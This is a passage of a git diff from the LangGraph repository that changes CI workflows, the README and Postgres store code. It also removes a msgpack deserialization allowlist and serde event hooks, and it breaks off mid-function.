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Author SHA1 Message Date
William Fu-Hinthorn 46e524d96c bazel ugh 2026-02-25 20:24:25 -08:00
106 changed files with 2690 additions and 18316 deletions
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+13 -14
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@@ -40,12 +40,11 @@ jobs:
- uses: actions/checkout@v6
- name: Get changed files
id: changed-files
if: github.event_name != 'workflow_dispatch'
uses: Ana06/get-changed-files@v2.3.0
with:
filter: "libs/cli/**"
- name: Set up Python ${{ matrix.python-version }}
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
if: steps.changed-files.outputs.all
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
@@ -53,15 +52,15 @@ jobs:
cache-suffix: "cli-integration-test"
ignore-nothing-to-cache: true
- name: Install cli globally
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
if: steps.changed-files.outputs.all
run: pip install -e .
- name: Build service ${{ matrix.example.name }}
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
if: steps.changed-files.outputs.all
working-directory: ${{ matrix.example.workdir }}
run: |
langgraph build -t ${{ matrix.example.tag }}
- name: Test service ${{ matrix.example.name }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&env.HAS_LANGSMITH_API_KEY == 'true' }}
if: ${{ steps.changed-files.outputs.all && env.HAS_LANGSMITH_API_KEY == 'true' }}
working-directory: ${{ matrix.example.workdir }}
env:
LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -75,24 +74,24 @@ jobs:
timeout 60 python "$REPO_ROOT/.github/scripts/run_langgraph_cli_test.py" -t ${{ matrix.example.tag }}
- name: Build JS service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
working-directory: libs/cli/js-examples
run: |
langgraph build -t langgraph-test-e
- name: Build JS monorepo service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
working-directory: libs/cli/js-monorepo-example
run: |
langgraph build -t langgraph-test-f -c apps/agent/langgraph.json --build-command "yarn run turbo build" --install-command "yarn install"
- name: Build Python monorepo service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
working-directory: libs/cli/python-monorepo-example
run: |
langgraph build -t langgraph-test-g -c apps/agent/langgraph.json
- name: Test Python monorepo service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
working-directory: libs/cli/python-monorepo-example
env:
LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -102,12 +101,12 @@ jobs:
timeout 60 python ../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-g -c apps/agent/langgraph.json
- name: Build prerelease reqs service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
working-directory: libs/cli/examples/graph_prerelease_reqs
run: |
langgraph build -t langgraph-test-h
- name: Test prerelease reqs service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
working-directory: libs/cli/examples/graph_prerelease_reqs
env:
LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -117,8 +116,8 @@ jobs:
timeout 60 python ../../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-h
echo "Finished starting up langgraph-test-h"
LANGGRAPH_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langgraph'); print(v);")
if [ "$LANGGRAPH_VERSION" != "1.1.2" ]; then
echo "LANGGRAPH_VERSION != 1.1.2; $LANGGRAPH_VERSION"
if [ "$LANGGRAPH_VERSION" != "1.0.8" ]; then
echo "LANGGRAPH_VERSION != 1.0.8; $LANGGRAPH_VERSION"
exit 1
fi
LANGCHAIN_OPENAI_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langchain-openai'); print(v);")
@@ -133,7 +132,7 @@ jobs:
fi
- name: Build and test prerelease reqs fail service
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
working-directory: libs/cli/examples/graph_prerelease_reqs_fail
run: |
langgraph build -t langgraph-test-i || [ $? -eq 1 ]
+7 -8
View File
@@ -34,12 +34,11 @@ jobs:
- uses: actions/checkout@v6
- name: Get changed files
id: changed-files
if: github.event_name != 'workflow_dispatch'
uses: Ana06/get-changed-files@v2.3.0
with:
filter: "${{ inputs.working-directory }}/**"
- name: Set up Python ${{ matrix.python-version }}
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
@@ -47,12 +46,12 @@ jobs:
cache-suffix: lint-${{ inputs.working-directory }}
- name: Install dependencies
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
working-directory: ${{ inputs.working-directory }}
run: uv sync --frozen --group lint
- name: Get .mypy_cache to speed up mypy
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
uses: actions/cache@v5
env:
SEGMENT_DOWNLOAD_TIMEOUT_MIN: "2"
@@ -62,7 +61,7 @@ jobs:
key: mypy-lint-${{ runner.os }}-${{ runner.arch }}-py${{ matrix.python-version }}-${{ inputs.working-directory }}-${{ hashFiles(format('{0}/uv.lock', inputs.working-directory)) }}
- name: Analysing package code with our lint
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
working-directory: ${{ inputs.working-directory }}
run: |
if make lint_package > /dev/null 2>&1; then
@@ -73,12 +72,12 @@ jobs:
fi
- name: Install test dependencies
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
working-directory: ${{ inputs.working-directory }}
run: uv sync --group lint
- name: Get .mypy_cache_test to speed up mypy
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
uses: actions/cache@v5
env:
SEGMENT_DOWNLOAD_TIMEOUT_MIN: "2"
@@ -88,7 +87,7 @@ jobs:
key: mypy-test-${{ runner.os }}-${{ runner.arch }}-py${{ matrix.python-version }}-${{ inputs.working-directory }}-${{ hashFiles(format('{0}/uv.lock', inputs.working-directory)) }}
- name: Analysing tests with our lint
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
if: steps.changed-files.outputs.all
working-directory: ${{ inputs.working-directory }}
run: |
if make lint_tests > /dev/null 2>&1; then
+1 -1
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@@ -33,7 +33,7 @@ jobs:
enable-cache: true
cache-suffix: test-${{ inputs.working-directory }}
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
if: ${{ !github.event.pull_request.head.repo.fork }}
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
+1 -8
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@@ -31,7 +31,7 @@ jobs:
enable-cache: true
cache-suffix: "test-langgraph"
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
if: ${{ !github.event.pull_request.head.repo.fork }}
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
@@ -45,13 +45,6 @@ jobs:
shell: bash
run: make test_parallel
- name: Run strict msgpack pregel tests
if: ${{ matrix.python-version == '3.13' }}
shell: bash
env:
LANGGRAPH_STRICT_MSGPACK: "true"
run: make test TEST="tests/test_pregel.py tests/test_pregel_async.py"
- name: Ensure the tests did not create any additional files
shell: bash
run: |
+2 -2
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@@ -48,7 +48,7 @@ jobs:
working-directory: ${{ inputs.working-directory }}
- name: Upload build
uses: actions/upload-artifact@v7
uses: actions/upload-artifact@v6
with:
name: test-dist
path: ${{ inputs.working-directory }}/dist/
@@ -76,7 +76,7 @@ jobs:
steps:
- uses: actions/checkout@v6
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v7
with:
name: test-dist
path: ${{ inputs.working-directory }}/dist/
+3 -6
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@@ -2,12 +2,10 @@
name: CI
on:
workflow_dispatch:
push:
branches:
- main
pull_request:
permissions:
contents: read
@@ -26,12 +24,11 @@ jobs:
changes:
runs-on: ubuntu-latest
outputs:
python: ${{ steps.filter.outputs.python || 'true' }}
deps: ${{ steps.filter.outputs.deps || 'true' }}
python: ${{ steps.filter.outputs.python }}
deps: ${{ steps.filter.outputs.deps }}
steps:
- uses: actions/checkout@v6
- uses: dorny/paths-filter@v4
if: github.event_name != 'workflow_dispatch'
- uses: dorny/paths-filter@v3
id: filter
with:
filters: |
+3 -3
View File
@@ -50,7 +50,7 @@ jobs:
working-directory: ${{ inputs.working-directory }}
- name: Upload build
uses: actions/upload-artifact@v7
uses: actions/upload-artifact@v6
with:
name: dist
path: ${{ inputs.working-directory }}/dist/
@@ -269,7 +269,7 @@ jobs:
enable-cache: true
cache-suffix: "release"
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v7
with:
name: dist
path: ${{ inputs.working-directory }}/dist/
@@ -310,7 +310,7 @@ jobs:
enable-cache: true
cache-suffix: "release"
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v7
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path: ${{ inputs.working-directory }}/dist/
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@@ -1,14 +0,0 @@
{
"MD013": false,
"MD024": {
"siblings_only": true
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View File
@@ -1,81 +1,90 @@
<div align="center">
<a href="https://www.langchain.com/langgraph">
<picture>
<source media="(prefers-color-scheme: dark)" srcset=".github/images/logo-dark.svg">
<source media="(prefers-color-scheme: light)" srcset=".github/images/logo-light.svg">
<img alt="LangGraph Logo" src=".github/images/logo-dark.svg" width="50%">
</picture>
</a>
</div>
<div align="center">
<h3>Low-level orchestration framework for building stateful agents.</h3>
</div>
<div align="center">
<a href="https://opensource.org/licenses/MIT" target="_blank"><img src="https://img.shields.io/pypi/l/langgraph" alt="PyPI - License"></a>
<a href="https://pypistats.org/packages/langgraph" target="_blank"><img src="https://img.shields.io/pepy/dt/langgraph" alt="PyPI - Downloads"></a>
<a href="https://pypi.org/project/langgraph/" target="_blank"><img src="https://img.shields.io/pypi/v/langgraph.svg?label=%20" alt="Version"></a>
<a href="https://x.com/langchain" target="_blank"><img src="https://img.shields.io/twitter/url/https/twitter.com/langchain.svg?style=social&label=Follow%20%40LangChain" alt="Twitter / X"></a>
</div>
<picture class="github-only">
<source media="(prefers-color-scheme: light)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg">
<source media="(prefers-color-scheme: dark)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_light.svg">
<img alt="LangGraph Logo" src="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg" width="80%">
</picture>
<div>
<br>
</div>
[![Version](https://img.shields.io/pypi/v/langgraph.svg)](https://pypi.org/project/langgraph/)
[![Downloads](https://static.pepy.tech/badge/langgraph/month)](https://pepy.tech/project/langgraph)
[![Open Issues](https://img.shields.io/github/issues-raw/langchain-ai/langgraph)](https://github.com/langchain-ai/langgraph/issues)
[![Docs](https://img.shields.io/badge/docs-latest-blue)](https://docs.langchain.com/oss/python/langgraph/overview)
Trusted by companies shaping the future of agents including Klarna, Replit, Elastic, and more LangGraph is a low-level orchestration framework for building, managing, and deploying long-running, stateful agents.
```bash
## Get started
Install LangGraph:
```
pip install -U langgraph
```
If you're looking to quickly build agents with LangChain's `create_agent` (built on LangGraph), check out the [LangChain Agents documentation](https://docs.langchain.com/oss/python/langchain/agents).
Create a simple workflow:
```python
from langgraph.graph import START, StateGraph
from typing_extensions import TypedDict
class State(TypedDict):
text: str
def node_a(state: State) -> dict:
return {"text": state["text"] + "a"}
def node_b(state: State) -> dict:
return {"text": state["text"] + "b"}
graph = StateGraph(State)
graph.add_node("node_a", node_a)
graph.add_node("node_b", node_b)
graph.add_edge(START, "node_a")
graph.add_edge("node_a", "node_b")
print(graph.compile().invoke({"text": ""}))
# {'text': 'ab'}
```
Get started with the [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart).
To quickly build agents with LangChain's `create_agent` (built on LangGraph), see the [LangChain Agents documentation](https://docs.langchain.com/oss/python/langchain/agents).
## Core benefits
LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent. LangGraph does not abstract prompts or architecture, and provides the following central benefits:
- [Durable execution](https://docs.langchain.com/oss/python/langgraph/durable-execution): Build agents that persist through failures and can run for extended periods, automatically resuming from exactly where they left off.
- [Human-in-the-loop](https://docs.langchain.com/oss/python/langgraph/interrupts): Seamlessly incorporate human oversight by inspecting and modifying agent state at any point during execution.
- [Comprehensive memory](https://docs.langchain.com/oss/python/langgraph/memory): Create truly stateful agents with both short-term working memory for ongoing reasoning and long-term persistent memory across sessions.
- [Debugging with LangSmith](http://www.langchain.com/langsmith): Gain deep visibility into complex agent behavior with visualization tools that trace execution paths, capture state transitions, and provide detailed runtime metrics.
- [Production-ready deployment](https://docs.langchain.com/langsmith/app-development): Deploy sophisticated agent systems confidently with scalable infrastructure designed to handle the unique challenges of stateful, long-running workflows.
## LangGraphs ecosystem
While LangGraph can be used standalone, it also integrates seamlessly with any LangChain product, giving developers a full suite of tools for building agents. To improve your LLM application development, pair LangGraph with:
- [LangSmith](http://www.langchain.com/langsmith) — Helpful for agent evals and observability. Debug poor-performing LLM app runs, evaluate agent trajectories, gain visibility in production, and improve performance over time.
- [LangSmith Deployment](https://docs.langchain.com/langsmith/deployments) — Deploy and scale agents effortlessly with a purpose-built deployment platform for long running, stateful workflows. Discover, reuse, configure, and share agents across teams — and iterate quickly with visual prototyping in [LangGraph Studio](https://docs.langchain.com/oss/python/langgraph/studio).
- [LangChain](https://docs.langchain.com/oss/python/langchain/overview) Provides integrations and composable components to streamline LLM application development.
> [!NOTE]
> Looking for the JS/TS library? Check out [LangGraph.js](https://github.com/langchain-ai/langgraphjs) and the [JS docs](https://docs.langchain.com/oss/javascript/langgraph/overview).
## Why use LangGraph?
LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent:
- **[Durable execution](https://docs.langchain.com/oss/python/langgraph/durable-execution)** — Build agents that persist through failures and can run for extended periods, automatically resuming from exactly where they left off.
- **[Human-in-the-loop](https://docs.langchain.com/oss/python/langgraph/interrupts)** — Seamlessly incorporate human oversight by inspecting and modifying agent state at any point during execution.
- **[Comprehensive memory](https://docs.langchain.com/oss/python/langgraph/memory)** — Create truly stateful agents with both short-term working memory for ongoing reasoning and long-term persistent memory across sessions.
- **[Debugging with LangSmith](https://www.langchain.com/langsmith)** — Gain deep visibility into complex agent behavior with visualization tools that trace execution paths, capture state transitions, and provide detailed runtime metrics.
- **[Production-ready deployment](https://docs.langchain.com/langsmith/deployments)** — Deploy sophisticated agent systems confidently with scalable infrastructure designed to handle the unique challenges of stateful, long-running workflows.
> [!TIP]
> For developing, debugging, and deploying AI agents and LLM applications, see [LangSmith](https://docs.langchain.com/langsmith/home).
## LangGraph ecosystem
While LangGraph can be used standalone, it also integrates seamlessly with any LangChain product, giving developers a full suite of tools for building agents.
To improve your LLM application development, pair LangGraph with:
- [Deep Agents](https://github.com/langchain-ai/deepagents) *(new!)* Build agents that can plan, use subagents, and leverage file systems for complex tasks.
- [LangChain](https://docs.langchain.com/oss/python/langchain/overview) Provides integrations and composable components to streamline LLM application development.
- [LangSmith](https://www.langchain.com/langsmith) Helpful for agent evals and observability. Debug poor-performing LLM app runs, evaluate agent trajectories, gain visibility in production, and improve performance over time.
- [LangSmith Deployment](https://docs.langchain.com/langsmith/deployments) Deploy and scale agents effortlessly with a purpose-built deployment platform for long-running, stateful workflows. Discover, reuse, configure, and share agents across teams and iterate quickly with visual prototyping in [LangSmith Studio](https://docs.langchain.com/langsmith/studio).
---
## Documentation
- [docs.langchain.com](https://docs.langchain.com/oss/python/langgraph/overview) Comprehensive documentation, including conceptual overviews and guides
- [reference.langchain.com/python/langgraph](https://reference.langchain.com/python/langgraph) API reference docs for LangGraph packages
- [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart) Get started building with LangGraph
- [Chat LangChain](https://chat.langchain.com/) Chat with the LangChain documentation and get answers to your questions
**Discussions**: Visit the [LangChain Forum](https://forum.langchain.com) to connect with the community and share all of your technical questions, ideas, and feedback.
> Looking for the JS version of LangGraph? See the [JS repo](https://github.com/langchain-ai/langgraphjs) and the [JS docs](https://docs.langchain.com/oss/javascript/langgraph/overview).
## Additional resources
- **[Guides](https://docs.langchain.com/oss/python/learn)** Quick, actionable code snippets for topics such as streaming, adding memory & persistence, and design patterns (e.g. branching, subgraphs, etc.).
- **[LangChain Academy](https://academy.langchain.com/courses/intro-to-langgraph)** Learn the basics of LangGraph in our free, structured course.
- **[Case studies](https://www.langchain.com/built-with-langgraph)** Hear how industry leaders use LangGraph to ship AI applications at scale.
- [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview) Learn how to contribute to LangChain projects and find good first issues.
- [Code of Conduct](https://github.com/langchain-ai/langchain/?tab=coc-ov-file) Our community guidelines and standards for participation.
---
- [Guides](https://docs.langchain.com/oss/python/langgraph/overview): Quick, actionable code snippets for topics such as streaming, adding memory & persistence, and design patterns (e.g. branching, subgraphs, etc.).
- [Reference](https://reference.langchain.com/python/langgraph/): Detailed reference on core classes, methods, how to use the graph and checkpointing APIs, and higher-level prebuilt components.
- [Examples](https://docs.langchain.com/oss/python/langgraph/agentic-rag): Guided examples on getting started with LangGraph.
- [LangChain Forum](https://forum.langchain.com/): Connect with the community and share all of your technical questions, ideas, and feedback.
- [LangChain Academy](https://academy.langchain.com/courses/intro-to-langgraph): Learn the basics of LangGraph in our free, structured course.
- [Case studies](https://www.langchain.com/built-with-langgraph): Hear how industry leaders use LangGraph to ship AI applications at scale.
## Acknowledgements
@@ -89,7 +89,7 @@ async def put_test_checkpoint(
vals = channel_values or {}
cv = channel_versions
if cv is None and vals:
cv: ChannelVersions = {k: 1 for k in vals}
cv = {k: 1 for k in vals}
cp["channel_versions"] = cv
nv = new_versions
if nv is None:
+40 -40
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@@ -164,11 +164,12 @@ class AsyncPostgresStore(AsyncBatchedBaseStore, BasePostgresStore[_ainternal.Con
grouped_ops, num_ops = _group_ops(ops)
results: list[Result] = [None] * num_ops
if self.pipe:
async with self.pipe:
await self._execute_batch(grouped_ops, results)
else:
await self._execute_batch(grouped_ops, results)
async with _ainternal.get_connection(self.conn) as conn:
if self.pipe:
async with self.pipe:
await self._execute_batch(grouped_ops, results, conn)
else:
await self._execute_batch(grouped_ops, results, conn)
return results
@@ -409,10 +410,8 @@ class AsyncPostgresStore(AsyncBatchedBaseStore, BasePostgresStore[_ainternal.Con
self,
grouped_ops: dict,
results: list[Result],
conn: AsyncConnection[DictRow] | None = None,
conn: AsyncConnection[DictRow],
) -> None:
# Keep `conn` for compatibility with subclasses overriding this private hook.
# All database I/O goes through `_cursor()`, which owns connection acquisition.
async with self._cursor(pipeline=True) as cur:
if GetOp in grouped_ops:
await self._batch_get_ops(
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph-checkpoint-postgres"
version = "3.0.5"
version = "3.0.4"
description = "Library with a Postgres implementation of LangGraph checkpoint saver."
authors = []
requires-python = ">=3.10"
@@ -20,7 +20,6 @@ from langgraph.store.base import (
)
from psycopg import AsyncConnection
from langgraph.checkpoint.postgres import _ainternal
from langgraph.store.postgres import AsyncPostgresStore
from tests.conftest import (
DEFAULT_URI,
@@ -347,59 +346,6 @@ async def test_batch_list_namespaces_ops(store: AsyncPostgresStore) -> None:
assert ("test", "namespace2") in results[0]
@asynccontextmanager
async def _create_pool_store() -> AsyncIterator[AsyncPostgresStore]:
database = f"test_{uuid.uuid4().hex[:16]}"
uri_parts = DEFAULT_URI.split("/")
uri_base = "/".join(uri_parts[:-1])
query_params = ""
if "?" in uri_parts[-1]:
_, query_params = uri_parts[-1].split("?", 1)
query_params = "?" + query_params
conn_string = f"{uri_base}/{database}{query_params}"
admin_conn_string = DEFAULT_URI
async with await AsyncConnection.connect(
admin_conn_string, autocommit=True
) as conn:
await conn.execute(f"CREATE DATABASE {database}")
try:
async with AsyncPostgresStore.from_conn_string(
conn_string, pool_config={"min_size": 1, "max_size": 1}
) as store:
await store.setup()
yield store
finally:
async with await AsyncConnection.connect(
admin_conn_string, autocommit=True
) as conn:
await conn.execute(f"DROP DATABASE {database}")
async def test_abatch_uses_single_pool_checkout(monkeypatch) -> None:
async with _create_pool_store() as store:
await store.aput(("test",), "key1", {"data": "value1"})
original_get_connection = _ainternal.get_connection
checkout_count = 0
@asynccontextmanager
async def counting_get_connection(conn):
nonlocal checkout_count
checkout_count += 1
async with original_get_connection(conn) as checked_out_conn:
yield checked_out_conn
monkeypatch.setattr(_ainternal, "get_connection", counting_get_connection)
results = await store.abatch([GetOp(namespace=("test",), key="key1")])
assert len(results) == 1
assert results[0] is not None
assert results[0].value == {"data": "value1"}
assert checkout_count == 1
@asynccontextmanager
async def _create_vector_store(
vector_type: str,
+24 -25
View File
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@@ -259,7 +259,7 @@ wheels = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1"
version = "4.0.0"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },
@@ -280,7 +280,6 @@ dev = [
{ name = "numpy" },
{ name = "pandas" },
{ name = "pandas-stubs", specifier = ">=2.2.2.240807" },
{ name = "pycryptodome", specifier = ">=3.23.0" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "pytest-mock" },
@@ -307,7 +306,7 @@ test = [
[[package]]
name = "langgraph-checkpoint-postgres"
version = "3.0.5"
version = "3.0.4"
source = { editable = "." }
dependencies = [
{ name = "langgraph-checkpoint" },
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[[package]]
+1 -1
View File
@@ -37,4 +37,4 @@ type:
format format_diff:
uv run ruff format $(PYTHON_FILES)
uv run ruff check --fix $(PYTHON_FILES)
uv run ruff check --select I --fix $(PYTHON_FILES)
@@ -1,8 +1,6 @@
from __future__ import annotations
import copy
import logging
from collections.abc import AsyncIterator, Collection, Iterator, Mapping, Sequence
from collections.abc import AsyncIterator, Iterator, Mapping, Sequence
from typing import ( # noqa: UP035
Any,
Generic,
@@ -16,7 +14,6 @@ from langchain_core.runnables import RunnableConfig
from langgraph.checkpoint.base.id import uuid6
from langgraph.checkpoint.serde.base import SerializerProtocol, maybe_add_typed_methods
from langgraph.checkpoint.serde.encrypted import EncryptedSerializer
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
from langgraph.checkpoint.serde.types import (
ERROR,
@@ -28,7 +25,6 @@ from langgraph.checkpoint.serde.types import (
V = TypeVar("V", int, float, str)
PendingWrite = tuple[str, str, Any]
logger = logging.getLogger(__name__)
# Marked as total=False to allow for future expansion.
@@ -478,37 +474,6 @@ class BaseCheckpointSaver(Generic[V]):
else:
return current + 1
def with_allowlist(
self, extra_allowlist: Collection[tuple[str, ...]]
) -> BaseCheckpointSaver[V]:
"""Return a shallow clone with a derived msgpack allowlist."""
serde = _with_msgpack_allowlist(self.serde, extra_allowlist)
if serde is self.serde:
return self
clone = copy.copy(self)
clone.serde = maybe_add_typed_methods(serde)
return clone
def _with_msgpack_allowlist(
serde: SerializerProtocol, extra_allowlist: Collection[tuple[str, ...]]
) -> SerializerProtocol:
if isinstance(serde, JsonPlusSerializer):
return serde.with_msgpack_allowlist(extra_allowlist)
if isinstance(serde, EncryptedSerializer):
inner = serde.serde
if isinstance(inner, JsonPlusSerializer):
updated_inner = inner.with_msgpack_allowlist(extra_allowlist)
if updated_inner is inner:
return serde
return EncryptedSerializer(serde.cipher, updated_inner)
logger.warning(
"Serializer %s does not support msgpack allowlist. "
"Strict msgpack deserialization will not be enforced.",
type(serde).__name__,
)
return serde
class EmptyChannelError(Exception):
"""Raised when attempting to get the value of a channel that hasn't been updated
@@ -1,89 +0,0 @@
import os
from collections.abc import Iterable
from typing import cast
STRICT_MSGPACK_ENABLED = os.getenv("LANGGRAPH_STRICT_MSGPACK", "false").lower() in (
"1",
"true",
"yes",
)
_SENTINEL = cast(None, object())
SAFE_MSGPACK_TYPES: frozenset[tuple[str, ...]] = frozenset(
{
# datetime types
("datetime", "datetime"),
("datetime", "date"),
("datetime", "time"),
("datetime", "timedelta"),
("datetime", "timezone"),
# uuid
("uuid", "UUID"),
# numeric
("decimal", "Decimal"),
# collections
("builtins", "set"),
("builtins", "frozenset"),
("collections", "deque"),
# ip addresses
("ipaddress", "IPv4Address"),
("ipaddress", "IPv4Interface"),
("ipaddress", "IPv4Network"),
("ipaddress", "IPv6Address"),
("ipaddress", "IPv6Interface"),
("ipaddress", "IPv6Network"),
# pathlib
("pathlib", "Path"),
("pathlib", "PosixPath"),
("pathlib", "WindowsPath"),
# pathlib in Python 3.13+
("pathlib._local", "Path"),
("pathlib._local", "PosixPath"),
("pathlib._local", "WindowsPath"),
# zoneinfo
("zoneinfo", "ZoneInfo"),
# regex
("re", "compile"),
# langchain-core messages (safe container types used by graph state)
("langchain_core.messages.base", "BaseMessage"),
("langchain_core.messages.base", "BaseMessageChunk"),
("langchain_core.messages.human", "HumanMessage"),
("langchain_core.messages.human", "HumanMessageChunk"),
("langchain_core.messages.ai", "AIMessage"),
("langchain_core.messages.ai", "AIMessageChunk"),
("langchain_core.messages.system", "SystemMessage"),
("langchain_core.messages.system", "SystemMessageChunk"),
("langchain_core.messages.chat", "ChatMessage"),
("langchain_core.messages.chat", "ChatMessageChunk"),
("langchain_core.messages.tool", "ToolMessage"),
("langchain_core.messages.tool", "ToolMessageChunk"),
("langchain_core.messages.function", "FunctionMessage"),
("langchain_core.messages.function", "FunctionMessageChunk"),
("langchain_core.messages.modifier", "RemoveMessage"),
# langchain-core document model
("langchain_core.documents.base", "Document"),
# langgraph
("langgraph.types", "Send"),
("langgraph.types", "Interrupt"),
("langgraph.types", "Command"),
("langgraph.types", "StateSnapshot"),
("langgraph.types", "PregelTask"),
("langgraph.types", "Overwrite"),
("langgraph.store.base", "Item"),
("langgraph.store.base", "GetOp"),
}
)
# Allowed (module, name, method) triples for EXT_METHOD_SINGLE_ARG.
# Only these specific method invocations are permitted during deserialization.
# This is separate from SAFE_MSGPACK_TYPES which only governs construction.
SAFE_MSGPACK_METHODS: frozenset[tuple[str, str, str]] = frozenset(
{
("datetime", "datetime", "fromisoformat"),
}
)
AllowedMsgpackModules = Iterable[tuple[str, ...] | type]
@@ -41,7 +41,7 @@ class EncryptedSerializer(SerializerProtocol):
) -> "EncryptedSerializer":
"""Create an `EncryptedSerializer` using AES encryption."""
try:
from Crypto.Cipher import AES
from Crypto.Cipher import AES # type: ignore
except ImportError:
raise ImportError(
"Pycryptodome is not installed. Please install it with `pip install pycryptodome`."
@@ -1,52 +0,0 @@
from __future__ import annotations
import logging
from collections.abc import Callable
from threading import Lock
from typing import TypedDict
from typing_extensions import NotRequired
logger = logging.getLogger(__name__)
class SerdeEvent(TypedDict):
kind: str
module: str
name: str
method: NotRequired[str]
SerdeEventListener = Callable[[SerdeEvent], None]
_listeners: list[SerdeEventListener] = []
_listeners_lock = Lock()
def register_serde_event_listener(listener: SerdeEventListener) -> Callable[[], None]:
"""Register a listener for serde allowlist events."""
with _listeners_lock:
_listeners.append(listener)
def unregister() -> None:
with _listeners_lock:
try:
_listeners.remove(listener)
except ValueError:
pass
return unregister
def emit_serde_event(event: SerdeEvent) -> None:
"""Emit a serde event to all listeners.
Listener failures are isolated and logged.
"""
with _listeners_lock:
listeners = tuple(_listeners)
for listener in listeners:
try:
listener(event)
except Exception:
logger.warning("Serde listener failed", exc_info=True)
@@ -1,6 +1,5 @@
from __future__ import annotations
import copy
import dataclasses
import decimal
import importlib
@@ -11,7 +10,7 @@ import pickle
import re
import sys
from collections import deque
from collections.abc import Callable, Iterable, Sequence
from collections.abc import Callable, Sequence
from datetime import date, datetime, time, timedelta, timezone
from enum import Enum
from inspect import isclass
@@ -23,25 +22,17 @@ from ipaddress import (
IPv6Interface,
IPv6Network,
)
from typing import TYPE_CHECKING, Any, Literal, cast
from typing import Any, Literal
from uuid import UUID
from zoneinfo import ZoneInfo
import ormsgpack
from langchain_core.load.load import Reviver
from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
from langgraph.checkpoint.serde.base import SerializerProtocol
from langgraph.checkpoint.serde.event_hooks import emit_serde_event
from langgraph.checkpoint.serde.types import SendProtocol
from langgraph.store.base import Item
if TYPE_CHECKING:
from langgraph.checkpoint.serde._msgpack import (
AllowedMsgpackModules,
)
from langgraph.checkpoint.serde.types import SendProtocol
LC_REVIVER = Reviver()
EMPTY_BYTES = b""
logger = logging.getLogger(__name__)
@@ -62,62 +53,21 @@ class JsonPlusSerializer(SerializerProtocol):
self,
*,
pickle_fallback: bool = False,
allowed_json_modules: Iterable[tuple[str, ...]] | Literal[True] | None = None,
allowed_msgpack_modules: (
AllowedMsgpackModules | Literal[True] | None
) = _lg_msgpack._SENTINEL,
allowed_json_modules: Sequence[tuple[str, ...]] | Literal[True] | None = None,
__unpack_ext_hook__: Callable[[int, bytes], Any] | None = None,
) -> None:
if allowed_msgpack_modules is _lg_msgpack._SENTINEL:
